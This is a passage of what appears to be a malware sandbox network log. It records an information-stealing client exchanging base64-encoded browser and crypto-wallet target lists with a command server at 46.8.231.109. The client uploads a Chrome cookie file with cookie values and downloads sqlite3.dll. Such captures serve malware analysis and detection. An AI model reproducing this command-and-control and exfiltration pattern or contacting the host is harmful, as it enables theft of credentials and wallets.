R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 19:33:14.369726896 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 19:33:14.371161938 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"plugins------KJKFBAFIDAEBFHJKJEBF--
Oct 7, 2024 19:33:14.550993919 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 19:33:14.551057100 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 7, 2024 19:33:14.551069021 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 7, 2024 19:33:14.551100969 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 7, 2024 19:33:14.555819988 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 7, 2024 19:33:14.555833101 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 7, 2024 19:33:14.557776928 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDB Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 2d 2d 0d 0a Data Ascii: ------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="message"fplugins------IIJDBGDGCGDAKFIDGIDB--
Oct 7, 2024 19:33:14.732871056 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 19:33:14.747546911 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 46.8.231.109 Content-Length: 5599 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 19:33:14.747546911 CEST	5599	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 19:33:15.053445101 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:15.054112911 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:15.227675915 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 19:33:15.227854013 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 19:33:15.227865934 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 7, 2024 19:33:15.227876902 CEST	672	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Oct 7, 2024 19:33:16.091428041 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGD Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------IDAAKEHJDHJKEBFHJEGD--
Oct 7, 2024 19:33:16.468246937 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:16.729460001 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:16.906728983 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file"------GDHIIDAFIDGCFHJJDGDA--
Oct 7, 2024 19:33:17.194753885 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:17.502168894 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAA Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file"------AFIEGIECGCBKFIEBGCAA--
